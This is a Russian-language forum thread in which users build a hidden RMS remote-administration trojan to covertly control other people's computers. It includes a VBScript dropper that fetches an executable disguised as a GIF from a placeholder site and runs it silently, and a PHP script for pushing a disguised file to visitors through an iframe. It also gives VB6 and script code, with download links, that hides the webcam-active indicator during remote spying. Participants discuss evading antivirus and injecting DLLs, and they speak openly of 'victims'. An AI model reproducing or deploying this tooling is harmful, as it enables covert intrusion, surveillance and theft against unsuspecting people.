Скрытый RMS [удаленное администрирование]

Тема в разделе "Самое важное", создана пользователем sawyer1992, 25 фев 2011.

  1. valyka80
    valyka80 Новичок
    Симпатии:
    5
    7 сен 2012
  2. incode
    incode Banned
    Симпатии:
    16
    valyka80,
    а ты точно оба файла пропатчил? Просто у других как бы работало.
     
    7 сен 2012
  3. valyka80
    valyka80 Новичок
    Симпатии:
    5
    да точно и:
    при первой установке uac тоже светился
     
    7 сен 2012
  4. incode
    incode Banned
    Симпатии:
    16
    valyka80,
    а при чём здесь uac?

    советую ждать обновлений либо патчить самому
     
    8 сен 2012
  5. valyka80
    valyka80 Новичок
    Симпатии:
    5
    Вообщем пришла мысль как автоматом заливать сборку (нужны шеллы на пару тройку сайтов)
    С начало заливаем на сайт нашу сборку,переименовываем допустим в jpg mpeg и т.д
    потом создаем файл 1.jpg кидаем все это (типа лоадера и запуска сборки)
    Option Explicit
    Dim oXMLHTTP,WshShell,oADOStream
    Set WshShell = WScript.CreateObject("WScript.Shell")
    Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    oXMLHTTP.Open "GET", "http://www.site.com/сборка.gif", 0
    oXMLHTTP.Send
    Set oADOStream = CreateObject("ADODB.Stream")
    oADOStream.Mode = 3
    oADOStream.Type = 1
    oADOStream.Open
    oADOStream.Write oXMLHTTP.responseBody
    oADOStream.SaveToFile "c:\setup.exe", 2 ' переименовываем
    RetCode = WshShell.Run("c:\setup.exe",0, true)
    'запусакаем
    (сыроват но суть я думаю ясна)

    Ставим ифрэйм или ссылку на нашего вот этого php скрипта (вот здесь надо доработать переименовывание 1.jpg в 1.vbs и автозапуска можно сделать на java)

    <?php
    $filename = '1.jpg';
    // нужен для Internet Explorer, иначе Content-Disposition игнорируется
    if(ini_get('zlib.output_compression'))
    ini_set('zlib.output_compression', 'Off');

    $file_extension = strtolower(substr(strrchr($filename,"."),1));

    if( $filename == "" )
    {
    echo "ОШИБКА: не указано имя файла.";
    exit;
    } elseif ( ! file_exists( $filename ) ) // проверяем существует ли указанный файл
    {
    echo "ОШИБКА: данного файла не существует.";
    exit;
    };
    switch( $file_extension )
    {
    case "pdf": $ctype="application/pdf"; break;
    case "exe": $ctype="application/octet-stream"; break;
    case "zip": $ctype="application/zip"; break;
    case "doc": $ctype="application/msword"; break;
    case "xls": $ctype="application/vnd.ms-excel"; break;
    case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
    case "mp3": $ctype="audio/mp3"; break;
    case "gif": $ctype="image/gif"; break;
    case "png": $ctype="image/png"; break;
    case "jpeg":
    case "jpg": $ctype="image/jpg"; break;
    default: $ctype="application/force-download";
    }
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: private",false); // нужен для некоторых браузеров
    header("Content-Type: $ctype");
    header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".filesize($filename)); // необходимо доделать подсчет размера файла по абсолютному пути
    readfile("$filename");
    exit();
    ?>

    чел скачивает и все.
     
    8 сен 2012
  6. sergey1237
    sergey1237 Новичок
    Симпатии:
    0
    по поводу баннера камеры-
    оригинальные файлы RMS не трогаем, сами создаем файлик который циклично ищет окно "баннера камеры" (имя окна: RMS_WND_HID , класс тот же) и посылаем команду на скрытие или закрытие окна.
    у себя я так и сделал.
     
    30 сен 2012
  7. airstrike
    airstrike Новичок
    Симпатии:
    1
    sergey1237,
    Хорошая идея! Исходник выложишь?
     
    30 сен 2012
  8. sergey1237
    sergey1237 Новичок
    Симпатии:
    0
    компилятор Neo Sign 0f Misery 0.9.4 (на сайте посвежее версия:http://kickme.to/inqsoft
    )
    сам код:
    LALLOC 1 .
    ^wait_wnd
    WND_FIND _0 "RMS_WND_HID" 1 .
    WND_SET_VISIBILITY _0 0
    SLEEP 1
    JUMP ^wait_wnd

    смыл таков, перед вкючением камеры также удаленно запускаем скомпилированный вами exe файл. после можно также удаленно диспечером убить процесс, или плюнуть на него:)
    З.Ы. функция Удаленная Камера грузит даже мощный комп, а это палево....
     
    1 окт 2012
  9. incode
    incode Banned
    Симпатии:
    16
    зачем мудрить с дополнительным exe, когда можно править в памяти с помощью dll-ки лежащей рядом с rutserv.exe...
     
    1 окт 2012
  10. sergey1237
    sergey1237 Новичок
    Симпатии:
    0
    incode,
    каждый делает кто на что способен...
    подправил код в третей строке: WND_FIND _0 "RMS_WND_HID" 1 $ $ $ 1 (быстрее, т.е. незаметнее отрабатывает поиск и скрытие окна...)

    Добавлено через 41 минуту
    компилятор Neo Sign 0f Misery 0.9.4(http://kickme.to/inqsoft)

    код:
    LALLOC 1 .
    ^wait_wnd
    WND_FIND _0 "RMS_WND_HID" 1 $ $ $ 1
    WND_SET_VISIBILITY _0 0
    SLEEP 1
    JUMP ^wait_wnd

    готвый файл: (можно переименовывать,запускать из любой директории..., да, еще удалил иконку компилятора. )

    http://narod.ru/disk/61957776001.9978278fc2969e6eb2c8b0d8a570a68c/mask.exe.html

    забыл сказать: "заточено" это под версию RMS 5.3
     
    Последнее редактирование: 8 окт 2012
    3 окт 2012
  11. lonesomeman
    lonesomeman Новичок
    Симпатии:
    0
    Отличная сборочка. Теперь буду курить мануалы по втюхиванию материала жертве. Автору большое мерси.
    Пардон за оффтоп. но я тут новечёк, хотел репу поднять, но не нашёл как.
     
    Последнее редактирование: 5 окт 2012
    4 окт 2012
  12. incode
    incode Banned
    Симпатии:
    16
    наверно лучшего в этом плане не видел.
     
    7 окт 2012
  13. slonsurgut
    slonsurgut Новичок
    Симпатии:
    0
    не подскажите....сделал по и экспресс сборке и ручками..на своей машине запускается со свистом...а на соседнем компе пишет-отказано в доступе к указанному устройству пути или файлу...возможно у вас нет нужных прав доступа использования к этому объекту...что за ерунда?:)
     
    15 окт 2012
  14. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    очевидно что у выбранного юзера нет прав, не?
     
    15 окт 2012
  15. slonsurgut
    slonsurgut Новичок
    Симпатии:
    0
    единственное что поменял сборка 5.2 а не 4...целый день бьюсь..не получается...
     
    15 окт 2012
  16. alexmax
    alexmax Новичок
    Симпатии:
    0
    sergey1237 аваст ругаеться на этот файл можно как нибуть исправить?

    Добавлено через 8 минут
    incode можно поподробнее как и что править?
     
    Последнее редактирование: 17 окт 2012
    17 окт 2012
  17. sergey1237
    sergey1237 Новичок
    Симпатии:
    0
    аваст ругается на ядро компилятора и ничего с этим не сделать (такие у них "Высокие" отношения с автором этих компиляторов)
    Выход один: написать этот сценарий например на VB или начем-нибудь еще....

    p.s. avast ругается на все (кряки, патчи и т.д. и т.п.)


    Сделал файл mask.exe (сообщение 514) с помощью VB6 (на ядро компилятора Neo Sign 0f Misery, с некоторых пор, ругаются некоторые антивирусы)
    Файл работает так-же + не нагружает прцессор и весит 16кб вместо 120кб
    http://narod.ru/disk/62653095001.9589c3024e68d46b577cbb65715547e4/mask.exe.html

    кто хочет сам скомпить код:
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
    Sub Main()
    Do
    DoEvents
    Sleep 1
    Dim target1 As String
    target1 = FindWindow("RMS_WND_HID", vbNullString)
    ShowWindow target1, 0
    Loop

    End Sub
     
    Последнее редактирование: 18 окт 2012
    17 окт 2012
  18. alexmax
    alexmax Новичок
    Симпатии:
    0
    sergey1237 незнаешь случайно что за dll файл нужно ковырять о котором писали выше?
     
    17 окт 2012
  19. sergey1237
    sergey1237 Новичок
    Симпатии:
    0
    в оригинальных dll файлах программы ковырять нечего.
    имелось ввиду: править оперативную память чужого прцесса с помощью "своей внедренной" dll..
    если я правильно соображаю:dontknow:
     
    17 окт 2012
  20. Megatron13
    Megatron13 Новичок
    Симпатии:
    1
    Всем привет! У меня несколько вопросов.
    в феврале делал сборку rms но версия та была наверное древней по сравнению с тем что сейчас. 5.1 beta 1 кажется. Понравилось тем, что антивири молчали (поменял кое что, по сравнению с гайдом который был в теме на тот момент). итак, вопросы:
    1) можно ли до сих пор использовать старую февральско-мартовскую сборку.
    2) если нельзя, то можете накидать плз ссылок на операции, которые нужно сделать с новыми чтобы например убрать вылет на сайт разраба после установки и другие палевные вещи.
    3) ругаются ли антивири на rms сейчас?
     
    18 окт 2012
Загрузка...